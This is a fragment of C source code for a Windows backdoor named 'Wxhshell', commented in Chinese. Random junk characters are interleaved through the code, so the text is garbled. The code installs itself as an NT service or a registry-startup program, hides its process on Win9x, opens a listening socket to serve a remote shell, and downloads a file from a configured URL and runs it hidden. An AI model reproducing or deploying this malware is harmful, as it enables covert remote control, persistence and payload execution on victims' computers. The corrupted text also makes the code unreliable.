CloseHandle(hProcess); ,-5|qko= 8/ PS#dM\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #HmZe98[% if(hProcess==NULL) return 0; U~Rs?JmTdD 78t:ge
eX HMODULE hMod; A0gRX] char procName[255]; Hus.Jfam unsigned long cbNeeded; mBg$eiGTB `:YCOF if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #-bz$w#* C "g bol^ CloseHandle(hProcess); -~`)V`@ Fz@9
@ if(strstr(procName,"services")) return 1; // 以服务启动 %@Nu{?I _'Hw`0}s return 0; // 注册表启动 P?j ;&@$^e } em?Q4t irKM?#h // 主模块 trMwFpfu int StartWxhshell(LPSTR lpCmdLine) -5#cfi4^* { b_a6| SOCKET wsl; ?=V;5H. BOOL val=TRUE; M. fA5rJ^ int port=0; ^W,~ struct sockaddr_in door; ~Nn}FNe g0:{{w if(wscfg.ws_autoins) Install(); #,Cz+k*4 5b;~&N4~ port=atoi(lpCmdLine); sff4N>XAl< cng166}1A if(port<=0) port=wscfg.ws_port; z2[{3Kd* CX#d9
8\b WSADATA data; Tx|y!uHh if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N%!{n7`N: p'\zL:3 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; sI6coe5n setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uFn?U) door.sin_family = AF_INET; {fS~G2@1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); W}M3z door.sin_port = htons(port); '>[Ut@lT; %{&,5|8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S9dXkd closesocket(wsl); #O^%u,mJj return 1; Tb}op XYK } LpN3cy>U K>G.HN@ if(listen(wsl,2) == INVALID_SOCKET) { %BF,;(P closesocket(wsl); ]Wtg.y6; return 1; )
(0=w4 } aATNeAR Wxhshell(wsl); "<&) G{ WSACleanup(); +`uNO<$~f Lr0:yo return 0; C%H?vrR WaSZw0U}y } 8^sh@j2L 7QRkXs // 以NT服务方式启动 Sg*+! VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -^q;e]+J { D!&]jkUN DWORD status = 0; 8J:=@X^} DWORD specificError = 0xfffffff; c2-oFLNP= Ko0?c.l serviceStatus.dwServiceType = SERVICE_WIN32; _ Y7Um serviceStatus.dwCurrentState = SERVICE_START_PENDING; k~)@D| ? serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v[V7$.%5Q serviceStatus.dwWin32ExitCode = 0; [9G=x[ serviceStatus.dwServiceSpecificExitCode = 0; ~BMUea( serviceStatus.dwCheckPoint = 0; >R5A@0@d5 serviceStatus.dwWaitHint = 0; C-XJe~ w)&?9?~ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {vdY( if (hServiceStatusHandle==0) return; $PRUzFZ d:"7Tw2v+ status = GetLastError(); kPoz&e_@ if (status!=NO_ERROR) M4(57b[` { >>|47ps3 serviceStatus.dwCurrentState = SERVICE_STOPPED; QseV\; z serviceStatus.dwCheckPoint = 0; 'KDt%?24 serviceStatus.dwWaitHint = 0; -fp/3- serviceStatus.dwWin32ExitCode = status; BS(jC serviceStatus.dwServiceSpecificExitCode = specificError; >~_z#2PA SetServiceStatus(hServiceStatusHandle, &serviceStatus); %7 QSBL return; &hrMpD6z6i } z[6avW"q _>ZC;+c? serviceStatus.dwCurrentState = SERVICE_RUNNING; g)=$zXWhP serviceStatus.dwCheckPoint = 0; O p1TsRm5L serviceStatus.dwWaitHint = 0; s\<UDW if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'T$Cw\F& } -xbs'[ \;KSx3o // 处理NT服务事件,比如:启动、停止 G|RBwl VOID WINAPI NTServiceHandler(DWORD fdwControl) hQ(^;QcSu { &xA>(|a\&- switch(fdwControl) `NsQ&G { R !yh0y}Z case SERVICE_CONTROL_STOP: ]#W7-Q;] serviceStatus.dwWin32ExitCode = 0; P&=YLL<W serviceStatus.dwCurrentState = SERVICE_STOPPED; ?|WoNA~j}` serviceStatus.dwCheckPoint = 0; }a#T\6rY serviceStatus.dwWaitHint = 0; RN|Bk { &iZt(XD SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZjY,k } RyU8{-q return; TGU7o:2 case SERVICE_CONTROL_PAUSE: 'CSjj@3 X serviceStatus.dwCurrentState = SERVICE_PAUSED; [VqiF~o, break; \F-n}Z case SERVICE_CONTROL_CONTINUE: ]uF7HX7F serviceStatus.dwCurrentState = SERVICE_RUNNING; x2a
?ugQ break; 8EMBqhl case SERVICE_CONTROL_INTERROGATE: ~(-1mB, break; ! L|l(<C }; M$.bC0}T SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]*'_a@h } pUS: HJk| }h1LH4 // 标准应用程序主函数 q,<l3r In int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d}tmZ*q { )">#bu$ \At~94 // 获取操作系统版本 #d3_7rI0V OsIsNt=GetOsVer(); Fx}v.A5 GetModuleFileName(NULL,ExeFile,MAX_PATH); 5z9hcQAS .>}I/+n // 从命令行安装 /4OQx0Xmm if(strpbrk(lpCmdLine,"iI")) Install(); 2O@ON/ s8[( // 下载执行文件 X Db% - if(wscfg.ws_downexe) { R+0gn/a[ G if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `GBJa k WinExec(wscfg.ws_filenam,SW_HIDE); 5+!yXkE^e } m1jEky( f*rub. y if(!OsIsNt) { pfIK9>i // 如果时win9x,隐藏进程并且设置为注册表启动 f4*(rX HideProc(); p>\[[Md StartWxhshell(lpCmdLine); W( sit;O } ~Q
Q1ZP3 else r>|S4O if(StartFromService()) ^ H2TSaJ; // 以服务方式启动 "PElQBLP:
StartServiceCtrlDispatcher(DispatchTable); [ ^\{>m7 else {+cx} ` // 普通方式启动 Lg,ObVt! StartWxhshell(lpCmdLine); .#Z'CZO| 3I)oqS@q' return 0; ujE~#b}X }
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